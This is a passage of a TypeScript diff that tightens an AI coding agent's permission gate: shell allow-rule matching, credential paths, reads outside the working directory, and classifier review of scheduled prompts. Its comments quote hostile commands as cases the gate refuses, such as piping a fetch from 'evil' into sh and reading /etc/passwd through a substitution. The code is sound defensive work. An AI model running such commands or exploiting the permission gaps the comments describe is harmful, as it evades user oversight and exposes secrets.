+ const { command: printer, args } = payloads[index];
310
+ if (printer === "echo" || printer === "printf") nested.push(args.map((token) => token.value).filter((value) => !/^-[neE]+$/.test(value)).join(" "));
311
+ }
312
+ }
269
313
  for (const segment of segments) {
270
314
  if (segment.raw) forms.add(segment.raw);
271
315
  const tokens = leadTokens(segment);
272
316
  if (tokens.length === 0) continue;
273
- const payload = resolvePayload(tokens);
317
+ // The wide reading also peels sudo/doas and returns the command lines
318
+ // wrapper options carry (`flock -c`, `env -S`).
319
+ const payload = resolvePayload(tokens, "wide");
320
+ nested.push(...payload.scripts);
274
321
  if (!payload.command) continue;
275
322
  const args = payload.args.map((token) => token.value);
276
323
  forms.add([payload.command, ...args].join(" "));
277
- if (SHELL_INTERPRETERS.has(payload.command)) {
324
+ if (INLINE_SCRIPT_SHELLS.has(payload.command)) {
278
325
  const script = inlineShellScript(args);
279
- if (script) for (const form of bashMatchForms(script, depth + 1)) forms.add(form);
326
+ if (script) nested.push(script);
327
+ }
328
+ // `eval` runs its arguments joined into one command line.
329
+ if (payload.command === "eval") nested.push(args.join(" "));
330
+ // `trap 'cmd' EXIT` runs its first argument later, as a command line.
331
+ if (payload.command === "trap") {
332
+ const handler = args[args[0] === "--" ? 1 : 0];
333
+ if (handler && !handler.startsWith("-")) nested.push(handler);
334
+ }
335
+ // `find … -exec cmd {} ;` runs cmd on every match.
336
+ if (payload.command === "find") {
337
+ for (const [index, arg] of args.entries()) {
338
+ if (!["-exec", "-execdir", "-ok", "-okdir"].includes(arg)) continue;
339
+ const end = args.findIndex((word, at) => at > index && (word === ";" || word === "+"));
340
+ nested.push(args.slice(index + 1, end < 0 ? undefined : end).join(" "));
341
+ }
280
342
  }
281
343
  }
344
+ for (const script of nested) for (const form of bashMatchForms(script, depth + 1)) forms.add(form);
282
345
  return [...forms];
283
346
  }
284
347
 
@@ -331,14 +394,27 @@ export function isShellTool(toolName: string): boolean {
331
394
  * that literal string); otherwise the command is split into subcommands and
332
395
  * every one of them must be covered by some allow rule — `Bash(npm test:*)`
333
396
  * alone never covers `npm test && curl evil | sh`, while `Bash(npm test:*)` +
334
- * `Bash(git status:*)` together cover `npm test && git status`. Prefix and
335
- * wildcard rules never cover a command carrying command substitution, process
336
- * substitution, eval/exec, a pipe into an interpreter, or a base64 decode:
337
- * what runs is not what the words say, so the rule's author never saw it. An
338
- * unparseable line is not covered. The rule returned is the first one that
339
- * covered a subcommand (for the "allowed by rule …" note).
397
+ * `Bash(git status:*)` together cover `npm test && git status`. `eval`, `sh`
398
+ * or `xargs` is a subcommand like any other, so it needs a rule of its own.
399
+ *
400
+ * A command or process substitution runs its commands to compute a word of
401
+ * the subcommand around it, so each of those commands must be covered too:
402
+ * by a rule, or, for the whole substitution at once, by `readOnly` (the
403
+ * auto-mode pre-gate's proof that it reads only inside the working directory
404
+ * and writes nothing). So `Bash(git commit:*)` covers `git commit -m "$(cat
405
+ * <<'EOF' … EOF)"` but not `npm test $(curl evil)`. The read-only shortcut
406
+ * is off when the line moves directory first (`cd /etc && git commit -m
407
+ * "$(cat passwd)"`), since the check resolves paths from the working
408
+ * directory. An unparseable line, or one with a construct the pre-gate does
409
+ * not model, is not covered. The rule returned is the first one that covered
410
+ * a subcommand (for the "allowed by rule …" note).
340
411
  */
341
- export function findBashAllowRule(rules: PermissionRule[], command: string, toolName = "bash"): PermissionRule | undefined {
412
+ export function findBashAllowRule(
413
+ rules: PermissionRule[],
414
+ command: string,
415
+ toolName = "bash",
416
+ opts: { readOnly?: (command: string) => boolean } = {},
417
+ ): PermissionRule | undefined {
342
418
  const cmd = command.trim();
343
419
  if (!cmd) return undefined;
344
420
  // `monitor` carries a shell command too and is judged with the same
@@ -351,19 +427,38 @@ export function findBashAllowRule(rules: PermissionRule[], command: string, tool
351
427
  );
352
428
  if (exact) return exact;
353
429
  // PowerShell lines split on PowerShell's separators and match alias-
354
- // canonicalized, case-insensitively (powershell-rules.ts); the shape of
355
- // the rule — every statement covered, no injection syntax — is the same.
356
- const powershell = normalizeToolName(toolName) === "powershell";
357
- if (powershell ? powershellInjectionSyntax(cmd) : hasInjectionSyntax(cmd)) return undefined;
358
- const subs = powershell ? powershellStatements(cmd) : bashSubcommands(cmd);
359
- if (!subs || subs.length === 0) return undefined;
360
- const matches = powershell ? matchesPowerShellPattern : matchesBashPattern;
430
+ // canonicalized, case-insensitively (powershell-rules.ts), and a line with
431
+ // injection syntax is never covered.
432
+ if (normalizeToolName(toolName) === "powershell") {
433
+ if (powershellInjectionSyntax(cmd)) return undefined;
434
+ const statements = powershellStatements(cmd);
435
+ if (!statements || statements.length === 0) return undefined;
436
+ let first: PermissionRule | undefined;
437
+ for (const statement of statements) {
438
+ const rule = bashRules.find((r) => r.pattern !== undefined && matchesPowerShellPattern(r.pattern, statement));
439
+ if (!rule) return undefined;
440
+ first ??= rule;
441
+ }
442
+ return first;
443
+ }
444
+ const parsed = parseCommand(cmd);
445
+ if (parsed.parseFailed || parsed.complex) return undefined;
446
+ const ruleFor = (raw: string) => bashRules.find((r) => r.pattern !== undefined && matchesBashPattern(r.pattern, raw));
447
+ const topLevel = parsed.segments.filter((seg) => seg.substitution === undefined && seg.raw.length > 0);
448
+ if (topLevel.length === 0) return undefined;
361
449
  let first: PermissionRule | undefined;
362
- for (const sub of subs) {
363
- const rule = bashRules.find((r) => r.pattern !== undefined && matches(r.pattern, sub));
450
+ for (const seg of topLevel) {
451
+ const rule = ruleFor(seg.raw);
364
452
  if (!rule) return undefined;
365
453
  first ??= rule;
366
454
  }
455
+ const topLevelMoves = topLevel.some(movesDirectory);
456
+ for (const [index, text] of parsed.substitutions.entries()) {
457
+ const inner = parsed.segments.filter((seg) => seg.substitution === index);
458
+ if (inner.every((seg) => ruleFor(seg.raw))) continue;
459
+ if (!topLevelMoves && opts.readOnly?.(text)) continue;
460
+ return undefined;
461
+ }
367
462
  return first;
368
463
  }
369
464
 
@@ -462,11 +557,16 @@ export function extractSubject(toolName: string, input: Record<string, unknown>)
462
557
  return str("url") ?? "";
463
558
  case "web_search":
464
559
  return str("query") ?? "";
560
+ case "Agent":
561
+ return str("subagent_type") ?? "";
465
562
  case "enter_worktree":
466
563
  return str("name") ?? str("path") ?? "";
467
564
  case "read_mcp_resource":
468
565
  case "read_mcp_resource_dir":
469
566
  return str("uri") ?? "";
567
+ case "artifact":
568
+ // publish names its source; list, open and delete show their arguments.
569
+ return pathArgument(input) ?? compactArguments(input);
470
570
  }
471
571
  if (isPathSubjectTool(name)) return pathArgument(input) ?? "";
472
572
  return pathArgument(input) ?? compactArguments(input);
@@ -485,13 +585,34 @@ export function urlHost(url: string): string | undefined {
485
585
  return undefined;
486
586
  }
487
587
 
588
+ /** Match URL hostname canonicalization without discarding a malformed rule's path or query. */
589
+ function normalizeDomain(domain: string): string {
590
+ if (/[/\\?#@\u0000-\u0020\u007f]/.test(domain)) return "";
591
+ return domainToASCII(domain).toLowerCase().replace(/(?<=[^*.])\.+(?=(:\d+)?$)/, "");
592
+ }
593
+
488
594
  /**
489
- * URL rule match: Claude Code's `WebFetch(domain:example.com)` form compares
490
- * the URL's host exactly; any other pattern is a glob over the whole URL.
595
+ * Claude Code's domain wildcards stay within a label, except a leading `*.`
596
+ * which covers one or more subdomain labels (never the bare domain).
491
597
  */
598
+ function matchesDomainPattern(pattern: string, host: string): boolean {
599
+ const domain = normalizeDomain(pattern);
600
+ const candidate = normalizeDomain(host);
601
+ if (!domain || !candidate) return false;
602
+ if (domain === candidate || domain === "*") return true;
603
+ const subdomains = domain.startsWith("*.");
604
+ const suffix = subdomains ? domain.slice(2) : domain;
605
+ const source = suffix.split("*").map((part) => part.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")).join("[^.:]*");
606
+ return new RegExp(`^${subdomains ? "(?:[^.:]+\\.)+" : ""}${source}$`).test(candidate);
607
+ }
608
+
609
+ /** Domain rules match normalized hosts; other patterns are globs over the whole URL. */
492
610
  function matchesUrlPattern(pattern: string, url: string): boolean {
493
- const domain = pattern.match(/^domain:(.+)$/)?.[1]?.trim().toLowerCase();
494
- if (domain) return urlHost(url) === domain;
611
+ const domain = pattern.match(/^domain:(.+)$/)?.[1]?.trim();
612
+ if (domain) {
613
+ const host = urlHost(url);
614
+ return host !== undefined && matchesDomainPattern(domain, host);
615
+ }
495
616
  return globToRegex(pattern, false).test(url);
496
617
  }
497
618
 
@@ -528,6 +649,15 @@ export function isInsideDir(candidate: string, dir: string, cwd: string): boolea
528
649
  }
529
650
 
530
651
  /** `isInsideDir`, plus the directory itself (`ls <cwd>` lists the working directory). */
652
+ /** Whether a path is a regular file (after symlinks); false when it is anything else or cannot be read. */
653
+ function isRegularFile(path: string): boolean {
654
+ try {
655
+ return statSync(path).isFile();
656
+ } catch {
657
+ return false;
658
+ }
659
+ }
660
+
531
661
  export function isAtOrInsideDir(candidate: string, dir: string, cwd: string): boolean {
532
662
  return toAbsoluteFolded(candidate, cwd) === toAbsoluteFolded(dir, cwd) || isInsideDir(candidate, dir, cwd);
533
663
  }
@@ -550,15 +680,17 @@ export function ruleMatches(rule: PermissionRule, toolName: string, subject: str
550
680
  case "url":
551
681
  return matchesUrlPattern(rule.pattern, subject);
552
682
  case "text":
553
- return globToRegex(rule.pattern, false).test(subject);
683
+ // The agent catalog resolves names case-insensitively (Explore/explore).
684
+ return globToRegex(rule.pattern, false, normalizeToolName(toolName) === "Agent").test(subject);
554
685
  }
555
686
  }
556
687
 
557
688
  /**
558
689
  * Whether a rule's tool covers a call's tool: the same name, or Claude Code's
559
- * server-wide MCP form — `mcp__github` covers every `mcp__github__*` tool, and
560
- * `mcp__plugin:x:server` the plugin-namespaced form. A rule naming a specific
561
- * tool (`mcp__github__delete_repo`, two `__` groups) stays exact. Until
690
+ * server-wide MCP forms — `mcp__github` and `mcp__github__*` cover every tool
691
+ * on that server, and `mcp__plugin:x:server` is the plugin-namespaced form.
692
+ * A rule naming a specific tool (`mcp__github__delete_repo`, two `__` groups)
693
+ * stays exact. Until
562
694
  * 2026-09-05 the server-wide spelling, the natural way to keep an agent off a
563
695
  * server, matched nothing (PERMISSIONS-REVIEW-2026-09-05 M3).
564
696
  */
@@ -566,8 +698,10 @@ export function ruleCoversTool(ruleTool: string, toolName: string): boolean {
566
698
  const tool = normalizeToolName(toolName);
567
699
  if (ruleTool === tool) return true;
568
700
  if (!ruleTool.startsWith("mcp__")) return false;
569
- const server = ruleTool.slice("mcp__".length);
570
- return server.length > 0 && !server.includes("__") && tool.startsWith(`${ruleTool}__`);
701
+ const wildcard = ruleTool.endsWith("__*");
702
+ const prefix = wildcard ? ruleTool.slice(0, -3) : ruleTool;
703
+ const server = prefix.slice("mcp__".length);
704
+ return server.length > 0 && (wildcard || !server.includes("__")) && tool.startsWith(`${prefix}__`);
571
705
  }
572
706
 
573
707
  /** Risk tier drives the unmatched-rule default. */
@@ -593,9 +727,18 @@ export function toolTier(toolName: string): ToolTier {
593
727
  */
594
728
  export function isPathSubjectTool(toolName: string): boolean {
595
729
  const name = normalizeToolName(toolName);
596
- return isWritingTool(name) || toolTier(name) === "safe";
730
+ return isWritingTool(name) || toolTier(name) === "safe" || READS_A_PATH.has(name);
597
731
  }
598
732
 
733
+ /**
734
+ * Custom-tier tools that read the file their path argument names: `artifact`
735
+ * copies its source page into the store and opens it in the browser. They stay
736
+ * gated like any custom tool, and the read-path rules apply on top:
737
+ * `blockReadsOutsideWorkingDirectories` refuses an outside path, and no allow
738
+ * rule covers one (the mode decides).
739
+ */
740
+ const READS_A_PATH = new Set(["artifact"]);
741
+
599
742
  /**
600
743
  * Tools that never need approval: they change no state outside the session and
601
744
  * touch no network or filesystem the user hasn't already opted into.
@@ -632,8 +775,13 @@ export const AUTO_ALLOWED_TOOLS = new Set<string>([
632
775
  // Inspecting/stopping background work this session already started.
633
776
  "task_output",
634
777
  "task_stop",
635
- // A timer that replays a prompt; no side effects outside the session.
778
+ // The session's cron store: timers that replay a prompt, and listing and
779
+ // cancelling them. (schedule_wakeup and cron_create are here for every mode
780
+ // but auto, where CLASSIFY_IN_AUTO_TOOLS sends them to the classifier.)
636
781
  "schedule_wakeup",
782
+ "cron_list",
783
+ "cron_delete",
784
+ "cron_create",
637
785
  // Resumes/messages an agent — same reasoning as Agent: the child enforces its
638
786
  // own tool permissions. (monitor and enter/exit_worktree stay gated: they
639
787
  // run arbitrary shell commands / mutate the filesystem.)
@@ -714,6 +862,48 @@ export interface DecideInput {
714
862
  * (PERMISSIONS-REVIEW-2026-09-05 M7).
715
863
  */
716
864
  protectedDirs?: string[];
865
+ /**
866
+ * The harness's own secret stores (`lib/permission-gate.ts
867
+ * runtimeSecretPaths`, the sole producer): files, and directories judged
868
+ * with everything under them. Absolute, literal and resolved. Outside the
869
+ * working space they count as credential paths, like the basename
870
+ * denylist: a read tool never reads one unclassified, and a workspace
871
+ * directory does not make one working space.
872
+ */
873
+ secretPaths?: string[];
874
+ /**
875
+ * The workspace directories in force (permissions/workspace.ts), absolute and
876
+ * resolved. A read inside one is a working-space read, and acceptEdits may
877
+ * write inside one, as in Claude Code; a credential path inside one is not
878
+ * working space. Auto mode's unclassified writes stay confined to the working
879
+ * directory (the classifier's containment fast path never sees these).
880
+ */
881
+ workspaceDirs?: string[];
882
+ /**
883
+ * The calling model is frontier or workhorse tier, so its calls get Claude
884
+ * Code's fast paths (`lib/model-tier.ts usesClaudeCodeFastPaths`). Absent is
885
+ * the stricter gate cheap and tiny models keep.
886
+ */
887
+ claudeCodeFastPaths?: boolean;
888
+ /**
889
+ * PowerShell's own parse of a `powershell` subject (lib/powershell-parser.ts),
890
+ * made by the caller before deciding. Absent, no PowerShell line is read-only
891
+ * or a contained edit here: the gate clears nothing it has not parsed.
892
+ */
893
+ powershellParse?: PowerShellParse;
894
+ /**
895
+ * Claude Code's `permissions.blockReadsOutsideWorkingDirectories`: the read
896
+ * tools refuse a path outside the working space, in every mode.
897
+ */
898
+ blockReadsOutsideWorkingDirectories?: boolean;
899
+ /**
900
+ * Documentation the harness ships and reads (lib/guide-docs.ts: One Code's
901
+ * user guide, the running pi's docs and examples), absolute and resolved.
902
+ * A read inside one is allowed like a working-directory read, on every model
903
+ * tier, so the `one-code-guide` agent reads them without a prompt. Never a
904
+ * write root: only read checks consult it (`workingSpaceHolds` with `reads`).
905
+ */
906
+ readOnlyDirs?: string[];
717
907
  }
718
908
 
719
909
  export interface Decision {
@@ -731,6 +921,12 @@ export interface Decision {
731
921
  | "mode"
732
922
  | "tier"
733
923
  | "protected-path"
924
+ /** A shell command the read-only check proves reads only inside the working space. */
925
+ | "read-only"
926
+ /** A read tool outside the working space, allowed unclassified in auto mode (Claude Code's safe allowlist). */
927
+ | "outside-read"
928
+ /** A read tool outside the working space, refused by `blockReadsOutsideWorkingDirectories`. */
929
+ | "blocked-outside-read"
734
930
  /** A read, or an acceptEdits write, whose path is outside the working directory. */
735
931
  | "working-dir";
736
932
  }
@@ -755,6 +951,16 @@ const PLAN_READ_ONLY_TOOLS = new Set(["web_fetch", "web_search", "list_mcp_resou
755
951
  */
756
952
  const DELEGATION_TOOLS = new Set(["Agent", "workflow", "SendMessage"]);
757
953
 
954
+ /**
955
+ * Allowed in every mode but auto, where the classifier reviews them: Claude
956
+ * Code's `CronCreate` and `ScheduleWakeup` (findings §21: "Scheduling a cron
957
+ * prompt requires classifier review", "Scheduling a /loop wakeup requires
958
+ * classifier review"). A scheduled prompt replays later with nobody watching,
959
+ * so the classifier judges what it asks for. Unlike DELEGATION_TOOLS, an allow
960
+ * rule for one still applies in auto mode.
961
+ */
962
+ const CLASSIFY_IN_AUTO_TOOLS = new Set(["cron_create", "schedule_wakeup"]);
963
+
758
964
  /**
759
965
  * Interpreters and runners whose arguments are code, so a wildcarded rule over
760
966
  * them (`Bash(python*)`, `Bash(npm run *)`) grants arbitrary execution just as
@@ -811,6 +1017,23 @@ export function isBroadExecutionRule(rule: PermissionRule): boolean {
811
1017
 
812
1018
  export function decide(params: DecideInput): Decision {
813
1019
  const { toolName, subject, cwd, mode, deny, ask, allow } = params;
1020
+ /**
1021
+ * The harness's readable session dirs and the workspace directories,
1022
+ * realpath'd, as the auto-mode pre-gate sees them (permissions/index.ts
1023
+ * `readableRoots`).
1024
+ */
1025
+ const sessionReadableRoots = () => [
1026
+ ...[params.memoryDirPath, params.scratchpadDirPath, params.resultsDirPath, params.sessionDirPath].filter((d): d is string => !!d).map((d) => resolveForContainment(d) ?? d),
1027
+ ...(params.readOnlyDirs ?? []),
1028
+ ...(params.workspaceDirs ?? []),
1029
+ ];
1030
+ /** The auto-mode pre-gate's evidence for a shell command, as the permissions extension's pre-gate sees it. */
1031
+ const shellEvidence = (command: string, writableRoots?: string[]): ShellEvidence =>
1032
+ analyzeShellCommand({ command, cwd, home: homedir(), protectedDirs: params.protectedDirs, readableRoots: sessionReadableRoots(), writableRoots });
1033
+ /** A safe verdict with no writes is exactly read-only: a safe line may still redirect inside the project. */
1034
+ const isReadOnly = (evidence: ShellEvidence): boolean => evidence.verdict === "safe" && evidence.writes.length === 0;
1035
+ /** The pre-gate's proof that a command only reads inside the project, for a substitution in an allowed command. */
1036
+ const readOnlyShell = (command: string): boolean => isReadOnly(shellEvidence(command));
814
1037
 
815
1038
  // In dontAsk mode anything that would prompt is denied instead — including
816
1039
  // explicit ask rules: there is no user to put the question to.
@@ -845,22 +1068,56 @@ export function decide(params: DecideInput): Decision {
845
1068
  // The harness's readable session dirs, as the auto-mode pre-gate sees them
846
1069
  // (permissions/index.ts `readableRoots`): a plan-mode read of this project's
847
1070
  // transcripts is a read like any other.
848
- const readableRoots = [params.memoryDirPath, params.scratchpadDirPath, params.resultsDirPath, params.sessionDirPath].filter((d): d is string => !!d).map((d) => resolveForContainment(d) ?? d);
1071
+ const readableRoots = sessionReadableRoots();
849
1072
  if (tool === "bash" && subject) {
850
- const evidence = analyzeShellCommand({ command: subject, cwd, home: homedir(), protectedDirs: params.protectedDirs, readableRoots });
851
- if (evidence.verdict === "safe" && evidence.writes.length === 0) return { decision: "allow", cause: "plan-readonly" };
1073
+ const evidence = shellEvidence(subject);
1074
+ if (isReadOnly(evidence)) return { decision: "allow", cause: "plan-readonly" };
852
1075
  // Read-only, but of a path outside the working directory: still a read,
853
1076
  // so it is put to the user rather than refused as a plan-mode mutation
854
1077
  // (the read tools ask for the same path below).
855
1078
  if (evidence.readOnlyOutside && evidence.writes.length === 0) return { decision: "ask", cause: "working-dir" };
856
1079
  }
857
- // The PowerShell counterpart: Claude Code's read-only cmdlet allowlist,
858
- // with in-project paths by shape (powershell-rules.ts).
859
- if (tool === "powershell" && subject && powershellReadOnly(subject, { cwd, home: homedir(), readableRoots }).readOnly) return { decision: "allow", cause: "plan-readonly" };
860
- if (PLAN_READ_ONLY_TOOLS.has(tool)) return { decision: "allow", cause: "plan-readonly" };
1080
+ // The PowerShell counterpart: read-only cmdlets on in-project paths,
1081
+ // judged from PowerShell's own parse (powershell-tree.ts).
1082
+ if (tool === "powershell" && subject && powershellReadOnly({ parse: params.powershellParse, cwd, home: homedir(), readableRoots }).readOnly) return { decision: "allow", cause: "plan-readonly" };
1083
+ if (PLAN_READ_ONLY_TOOLS.has(tool)) {
1084
+ const askRule = ask.find((r) => ruleMatches(r, toolName, subject, cwd));
1085
+ return askRule ? askOrDeny(askRule) : { decision: "allow", cause: "plan-readonly" };
1086
+ }
861
1087
  return { decision: "deny", cause: "plan-mode" };
862
1088
  }
863
1089
 
1090
+ /**
1091
+ * Whether an absolute path is a credential: the basename denylist, or at or
1092
+ * under one of the harness's own secret stores (`secretPaths`).
1093
+ */
1094
+ const isCredential = (absolute: string): boolean =>
1095
+ isSensitivePath(absolute) || (params.secretPaths ?? []).some((secret) => isAtOrInsideDir(absolute, secret, cwd));
1096
+ /**
1097
+ * Whether `target` (where `spelled` resolves) is working space: the working
1098
+ * directory, the harness's session dirs, the plan file, and the workspace
1099
+ * directories except for the credentials in them. For a read (`reads`), the
1100
+ * shipped docs folders (`readOnlyDirs`) count too; they are never written.
1101
+ */
1102
+ const workingSpaceHolds = (spelled: string, target: string, workspace = true, reads = false): boolean => {
1103
+ const roots = [cwd, params.resolvedCwd, params.memoryDirPath, params.scratchpadDirPath, params.resultsDirPath, params.sessionDirPath, ...(reads ? (params.readOnlyDirs ?? []) : [])];
1104
+ if (roots.some((dir) => dir && isAtOrInsideDir(target, dir, cwd))) return true;
1105
+ // A workspace directory is working space except for the credentials in it:
1106
+ // adding a directory must not make its keys readable without a prompt.
1107
+ // Judged on the spelling and on where it resolves, so a symlink cannot
1108
+ // launder a credential in either direction.
1109
+ const sensitive = [spelled, target].some((candidate) => isCredential(toAbsolute(cwd, candidate, homedir())));
1110
+ if (workspace && !sensitive && (params.workspaceDirs ?? []).some((dir) => isAtOrInsideDir(target, dir, cwd))) return true;
1111
+ return params.planFilePath ? isPlanFilePath(target, params.planFilePath, cwd) : false;
1112
+ };
1113
+ // Claude Code's blockReadsOutsideWorkingDirectories refuses a read tool's
1114
+ // outside path before any ask or allow rule can prompt for it or allow it
1115
+ // (bypass mode returned above).
1116
+ const readsPath = tier === "safe" || READS_A_PATH.has(tool);
1117
+ if (params.blockReadsOutsideWorkingDirectories && readsPath && subject && !workingSpaceHolds(subject, params.resolvedSubject ?? subject, true, true)) {
1118
+ return { decision: "deny", cause: "blocked-outside-read" };
1119
+ }
1120
+
864
1121
  // An explicit ask rule is the user's stated intent to be prompted, so it wins
865
1122
  // over auto mode too: the classifier never gets to auto-approve a match.
866
1123
  const askRule = ask.find((r) => ruleMatches(r, toolName, subject, cwd));
@@ -896,18 +1153,59 @@ export function decide(params: DecideInput): Decision {
896
1153
  // Protected-path writes are checked *before* allow rules, so an
897
1154
  // `Edit(.claude/**)` entry cannot pre-approve reconfiguring the agent's own
898
1155
  // permissions or planting a git hook. In auto mode they go to the classifier.
899
- const protectedTarget = () =>
900
- [subject, params.resolvedSubject].some(
1156
+ const isProtected = (...candidates: (string | undefined)[]) =>
1157
+ candidates.some(
901
1158
  (candidate) =>
902
1159
  candidate &&
903
1160
  (isProtectedPath(candidate, cwd) || (params.protectedDirs ?? []).some((dir) => isInsideDir(candidate, dir, cwd))),
904
1161
  );
905
- if (isWritingTool(tool) && subject && protectedTarget()) {
1162
+ if (isWritingTool(tool) && subject && isProtected(subject, params.resolvedSubject)) {
906
1163
  if (mode === "dontAsk") return { decision: "deny", cause: "protected-path" };
907
1164
  if (mode === "auto") return { decision: "classify", cause: "protected-path" };
908
1165
  return { decision: "ask", cause: "protected-path" };
909
1166
  }
910
1167
 
1168
+ const outsideWorkingDir = (): Decision => {
1169
+ if (mode === "auto") return { decision: "classify", cause: "working-dir" };
1170
+ if (mode === "dontAsk") return { decision: "deny", cause: "working-dir" };
1171
+ return { decision: "ask", cause: "working-dir" };
1172
+ };
1173
+
1174
+ /**
1175
+ * Whether a redirect on the line reads or writes outside the working space,
1176
+ * onto a protected path, or somewhere only known at runtime (an expansion,
1177
+ * a glob, `~user`, or a relative target after a `cd`).
1178
+ */
1179
+ const redirectEscapes = (command: string): boolean => {
1180
+ const { segments, parseFailed } = parseCommand(command.trim());
1181
+ // A line that did not parse may hide a redirect the segments dropped.
1182
+ if (parseFailed) return /[<>]/.test(command);
1183
+ const home = homedir();
1184
+ // Only a `cd` before a redirect moves where its relative target lands.
1185
+ let moved = false;
1186
+ for (const segment of segments) {
1187
+ if (movesDirectory(segment)) moved = true;
1188
+ const targets = [...segment.redirects.map((value) => ({ value, write: true })), ...segment.inputs.map((token) => ({ value: token.value, write: false }))];
1189
+ if (targets.length > 0 && segment.unknownTarget) return true;
1190
+ for (const { value: target, write } of targets) {
1191
+ if (DEVICE_TARGETS.has(target) || target.startsWith("/dev/fd/")) continue;
1192
+ if (isUnknownTilde(target) || /[*?[]/.test(target)) return true;
1193
+ if (moved && !isAbsolute(target) && !target.startsWith("~")) return true;
1194
+ const absolute = toAbsoluteBash(cwd, target, home);
1195
+ const resolved = resolveForContainment(absolute) ?? absolute;
1196
+ // Auto mode's unclassified writes stay in the working directory, a
1197
+ // workspace directory's included (decisions/modes.md).
1198
+ if (!workingSpaceHolds(target, resolved, !(write && mode === "auto"), !write)) return true;
1199
+ if (isProtected(absolute, resolved)) return true;
1200
+ }
1201
+ }
1202
+ return false;
1203
+ };
1204
+
1205
+ // A custom tool's read outside the working space is never pre-approved by an
1206
+ // allow rule: a bare `Artifact` rule is for publishing the project's pages.
1207
+ if (READS_A_PATH.has(tool) && subject && !workingSpaceHolds(subject, params.resolvedSubject ?? subject, true, true)) return outsideWorkingDir();
1208
+
911
1209
  const usableAllow =
912
1210
  mode === "auto"
913
1211
  ? allow.filter((rule) => {
@@ -921,12 +1219,60 @@ export function decide(params: DecideInput): Decision {
921
1219
  const allowRule =
922
1220
  subjectKind(tool) === "command"
923
1221
  ? subject
924
- ? findBashAllowRule(usableAllow, subject, tool)
1222
+ ? findBashAllowRule(usableAllow, subject, tool, { readOnly: readOnlyShell })
925
1223
  : undefined
926
1224
  : usableAllow.find((r) => ruleMatches(r, toolName, subject, cwd));
927
- if (allowRule) return { decision: "allow", rule: allowRule, cause: "rule" };
1225
+ if (allowRule) {
1226
+ // Claude Code's path constraints, checked before any allow rule: a rule
1227
+ // for the command never covers a redirect outside the working space
1228
+ // (`Bash(echo:*)` and `echo … >> ~/.zshrc`), or onto a protected path.
1229
+ if (subjectKind(tool) === "command" && subject && normalizeToolName(tool) !== "powershell" && redirectEscapes(subject)) return outsideWorkingDir();
1230
+ return { decision: "allow", rule: allowRule, cause: "rule" };
1231
+ }
928
1232
 
929
- if (mode === "auto" && DELEGATION_TOOLS.has(tool)) {
1233
+ /**
1234
+ * The shell tools' own read-only check, in every mode, as Claude Code's Bash
1235
+ * and PowerShell tools approve a provably read-only command themselves before
1236
+ * any mode logic runs (findings §36, "Where Claude Code's pre-gate sits"). The
1237
+ * proof is the auto-mode pre-gate's, so its plugs for Claude Code's gaps
1238
+ * (symlink-following options, glob operands) hold here too. A safe verdict
1239
+ * that writes (an in-project redirect) is not read-only: it takes the mode's
1240
+ * path, where auto mode's pre-gate may still clear it. A read-only command
1241
+ * that reads outside the working space is judged like the read tools' outside
1242
+ * read. Plan mode has its own branch above.
1243
+ *
1244
+ * A model that gets Claude Code's fast paths also gets acceptEdits' shell
1245
+ * half, in acceptEdits mode and in auto mode (which skips the classifier for
1246
+ * anything acceptEdits would allow): a line made only of Claude Code's
1247
+ * acceptEdits file commands on the working space (`containedNonNetwork`), or
1248
+ * a safe line whose redirects land there. Workspace directories count as
1249
+ * working space for its writes. Cheap and tiny models keep the stricter path.
1250
+ */
1251
+ const fastPaths = params.claudeCodeFastPaths === true;
1252
+ if (subject && tool === "bash") {
1253
+ const evidence = shellEvidence(subject, fastPaths ? params.workspaceDirs : undefined);
1254
+ if (isReadOnly(evidence)) return { decision: "allow", cause: "read-only" };
1255
+ if (evidence.readOnlyOutside && evidence.writes.length === 0) return outsideWorkingDir();
1256
+ if (fastPaths && (mode === "acceptEdits" || mode === "auto") && (evidence.verdict === "safe" || evidence.containedNonNetwork)) {
1257
+ return { decision: "allow", cause: "mode" };
1258
+ }
1259
+ }
1260
+ if (subject && tool === "powershell" && params.powershellParse) {
1261
+ if (powershellReadOnly({ parse: params.powershellParse, cwd, home: homedir(), readableRoots: sessionReadableRoots() }).readOnly) {
1262
+ return { decision: "allow", cause: "read-only" };
1263
+ }
1264
+ // Claude Code's acceptEdits PowerShell cmdlets on the working space, the
1265
+ // PowerShell half of the bash file-command fast path above.
1266
+ if (
1267
+ fastPaths &&
1268
+ (mode === "acceptEdits" || mode === "auto") &&
1269
+ powershellTreeContainedEdits(params.powershellParse, { cwd, home: homedir(), writableRoots: params.workspaceDirs, protectedDirs: params.protectedDirs }).ok
1270
+ ) {
1271
+ return { decision: "allow", cause: "mode" };
1272
+ }
1273
+ }
1274
+
1275
+ if (mode === "auto" && (DELEGATION_TOOLS.has(tool) || CLASSIFY_IN_AUTO_TOOLS.has(tool))) {
930
1276
  return { decision: "classify", cause: "mode" };
931
1277
  }
932
1278
 
@@ -942,25 +1288,30 @@ export function decide(params: DecideInput): Decision {
942
1288
  * was allowed in every mode including auto and plan, and acceptEdits wrote
943
1289
  * anywhere on disk (PERMISSIONS-REVIEW-2026-09-05 H1, H2).
944
1290
  */
945
- const inWorkingSpace = (): boolean => {
946
- const target = params.resolvedSubject ?? subject;
947
- const roots = [cwd, params.resolvedCwd, params.memoryDirPath, params.scratchpadDirPath, params.resultsDirPath, params.sessionDirPath];
948
- if (roots.some((dir) => dir && isAtOrInsideDir(target, dir, cwd))) return true;
949
- return params.planFilePath ? isPlanFilePath(target, params.planFilePath, cwd) : false;
950
- };
951
- const outsideWorkingDir = (): Decision => {
952
- if (mode === "auto") return { decision: "classify", cause: "working-dir" };
953
- if (mode === "dontAsk") return { decision: "deny", cause: "working-dir" };
954
- return { decision: "ask", cause: "working-dir" };
955
- };
956
-
1291
+ const inWorkingSpace = (reads = false): boolean => workingSpaceHolds(subject, params.resolvedSubject ?? subject, true, reads);
957
1292
  if (tier === "safe") {
958
1293
  // No path argument (grep/find/ls default to the cwd) is an in-project read.
959
- if (!subject || inWorkingSpace()) return { decision: "allow", cause: "tier" };
1294
+ if (!subject || inWorkingSpace(true)) return { decision: "allow", cause: "tier" };
1295
+ // Claude Code's auto mode reads outside the working directories without
1296
+ // the classifier (the read tools are on its safe allowlist); the caller
1297
+ // raises its one-time first-read prompt. A credential path is still
1298
+ // judged: our plug, as in the shell pre-gate. So is a content search of
1299
+ // anything but one file: pi's grep runs ripgrep with `--hidden`, and a
1300
+ // directory's credentials sit anywhere below it (`grep` on `~` reads
1301
